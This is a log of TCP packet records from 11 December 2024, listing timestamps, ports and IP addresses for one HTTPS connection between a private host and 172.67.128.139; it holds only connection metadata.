Dec 11, 2024 12:44:32.833467960 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:32.833492994 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:32.833620071 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:32.835138083 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:32.835170031 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:32.835309029 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:32.835309029 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:32.835372925 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:32.835386992 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:32.835398912 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:32.835445881 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:32.835577965 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:32.837027073 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:32.837050915 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:32.837223053 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:32.837223053 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:32.837246895 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:32.837246895 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:32.837256908 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:32.837299109 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:32.837428093 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:32.837599039 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:32.837928057 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:32.838145018 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:32.842792988 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:33.080897093 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:33.080908060 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:33.081125021 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:33.081165075 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:33.081193924 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:33.081294060 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:33.081345081 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:33.082880974 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:33.082917929 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:33.083067894 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:33.083067894 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:33.083153963 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:33.083177090 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:33.083359003 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:33.084827900 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:33.084862947 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:33.085004091 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:33.085083008 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:33.085083008 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:33.085112095 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:33.085277081 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:33.086711884 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:33.086747885 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:33.086905956 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:33.086905956 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:33.086939096 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:33.086939096 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:33.086955070 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:33.087023973 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:33.087124109 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:33.088577986 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:33.088613987 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:33.088742018 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:33.088848114 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:33.088848114 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:33.088865042 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:33.089059114 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:33.089724064 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:33.089983940 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:33.090063095 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:33.090090990 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:33.092438936 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:33.092473030 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:33.092606068 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:33.092643976 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:33.092649937 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:33.092649937 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:33.092725039 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:33.092725039 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:33.092839003 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:33.095443010 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:33.324626923 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:33.324660063 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:33.324806929 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:33.324806929 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:33.324888945 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:33.324902058 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:33.324953079 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:33.325098991 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:33.326550961 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:33.326591015 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:33.326759100 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:33.326759100 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:33.326780081 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:33.326792955 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:33.326792955 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:33.326944113 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:33.328476906 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:33.328509092 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:33.328658104 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:33.328658104 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:33.328686953 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:33.328686953 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:33.328696012 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:33.328731060 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:33.328855038 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:33.329417944 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:33.329644918 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:33.329644918 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:33.329662085 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:33.331604958 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:33.331635952 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:33.331779957 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:33.331794977 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:33.331831932 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:33.331831932 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:33.331876993 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:33.331926107 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:33.333421946 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:33.333455086 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:33.333590031 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:33.333614111 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:33.333683014 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:33.333683014 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:33.333712101 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:33.336128950 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:33.336164951 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:33.336271048 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:33.336271048 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:33.336288929 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:33.336348057 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:33.336349010 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:33.336379051 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:33.336451054 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:33.338027000 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:33.338053942 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:33.338309050 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:33.338335991 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:33.338373899 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:33.338752985 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:33.339539051 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:33.339658022 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:33.339782953 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:33.339807987 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:33.339823961 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:33.339823961 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:33.339936018 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:33.354054928 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:33.573331118 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:33.573369980 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:33.573529959 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:33.573529959 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:33.573611021 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:33.573611021 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:33.573611021 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:33.573641062 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:33.573782921 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:33.575206041 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:33.575244904 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:33.575407982 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:33.575438976 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:33.575438976 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:33.575454950 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:33.575515032 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:33.575618982 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:33.577131987 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:33.577167988 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:33.577334881 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:33.577548027 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:33.577548981 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:33.577548981 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:33.577578068 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:33.577761889 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:33.579251051 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:33.579287052 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:33.579443932 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:33.579443932 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:33.579478025 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:33.579478025 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:33.579493999 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:33.579524040 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:33.579662085 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:33.580045938 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:33.580221891 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:33.580312014 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:33.581927061 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:33.581959009 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:33.582171917 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:33.582171917 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:33.582211018 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:33.582237959 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:33.582391024 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:33.583844900 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:33.583880901 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:33.583992958 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:33.584146976 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:33.584175110 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:33.584330082 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:33.584408045 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:33.585824013 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:33.585859060 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:33.586071014 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:33.586098909 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:33.586114883 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:33.586304903 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:33.587765932 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:33.587949038 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:33.587985039 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:33.588126898 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:33.588126898 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:33.588162899 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:33.588162899 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:33.588177919 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:33.588207960 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:33.588315010 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:33.590089083 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:33.590125084 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:33.590302944 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:33.590302944 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:33.590327978 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:33.590341091 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:33.590341091 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:33.590473890 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:33.591043949 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:33.592057943 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:33.592212915 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:33.592243910 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:33.592243910 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:33.592278004 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:33.592292070 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:33.592391014 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:33.592420101 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:33.594247103 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:33.610836029 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:33.823286057 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:33.823297024 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:33.823446035 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:33.823471069 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:33.823633909 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:33.823633909 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:33.823664904 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:33.823815107 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:33.823843956 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:33.825290918 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:33.825325966 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:33.825506926 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:33.825506926 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:33.825540066 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:33.825557947 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:33.825608969 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:33.825701952 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:33.827070951 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:33.827107906 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:33.827251911 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:33.827281952 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:33.827281952 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:33.827301025 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:33.827358961 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:33.827358961 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:33.827471972 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:33.829019070 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:33.829055071 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:33.829227924 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:33.829227924 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:33.829260111 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:33.829278946 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:33.829278946 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:33.829487085 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:33.830941916 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:33.830972910 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:33.831176043 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:33.831176043 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:33.831212044 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:33.831234932 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:33.831448078 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:33.833482981 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:33.833513975 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:33.833699942 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:33.833842993 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:33.834050894 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:33.834079027 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:33.834259987 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:33.835449934 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:33.835485935 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:33.835624933 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:33.835624933 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:33.835656881 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:33.835678101 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:33.835689068 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:33.835762024 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:33.835791111 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:33.835872889 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:33.837317944 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:33.837353945 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:33.837508917 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:33.837508917 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:33.837542057 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:33.837557077 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:33.837637901 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:33.838155985 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:33.839329004 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:33.839360952 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:33.839494944 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:33.839586020 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:33.839586020 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:33.839616060 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:33.839637041 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:33.841525078 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:33.841563940 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:33.841681957 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:33.841681957 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:33.841712952 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:33.841733932 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:33.841733932 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:33.841809034 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:33.843646049 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:33.843678951 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:33.843831062 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:33.843831062 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:33.843863010 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:33.843883991 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:33.843883991 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:33.843883991 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:33.843959093 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:33.845593929 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:33.845623016 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:33.845777035 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:33.845777035 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:33.845807076 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:33.845828056 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:33.845828056 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:33.845904112 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:33.845932961 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:33.855072021 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:34.071101904 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:34.071141005 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:34.071274996 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:34.071274996 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:34.071365118 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:34.071365118 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:34.071391106 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:34.071450949 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:34.071578026 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:34.072976112 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:34.073015928 CET	443	49757	172.67.128.139	192.168.11.20
